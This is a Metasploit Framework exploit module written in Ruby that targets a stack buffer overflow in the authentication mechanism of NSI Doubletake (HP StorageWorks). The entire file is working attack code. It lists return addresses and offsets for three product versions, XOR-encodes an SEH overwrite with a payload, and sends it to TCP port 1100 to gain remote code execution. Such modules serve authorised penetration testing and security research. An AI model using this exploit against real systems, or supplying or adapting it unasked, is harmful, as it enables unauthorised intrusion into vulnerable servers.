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##
# $Id: doubletake.rb 4529 2007-03-23 01:08:18Z $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Exploits::Windows::Misc::Doubletake < Msf::Exploit::Remote
include Exploit::Remote::Tcp
include Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'doubletake Overflow',
'Description' => %q{
This Module Exploits a stack overflow in the authentication mechanism of NSI Doubletake which is also rebranded
as hp storage works Vulnerability found by Titon of Bastard Labs.
},
'Author' => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
'Version' => '$Revision: 9 $',
'References' =>
[
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
['doubletake 4.5.0', { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],
['doubletake 4.4.2', { 'Ret' => 0x0074e307, 'Offset' => 944 } ],
['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => ''
))
register_options(
[
Opt::RPORT(1100)
], self.class)
end
def exploit
xor = Rex::Encoding::Xor::Byte
connect
print_status("Trying target #{target.name}...")
header =
"\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+
"\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"
filler = rand_text_english(1) * (target['Offset'])
seh = generate_seh_payload(target.ret)
buffercoded= xor.encode(seh+payload.encoded, [0xf0].pack("C"))
sploit = header + filler + buffercoded[0]
sock.put(sploit)
handler
disconnect
end
end
end
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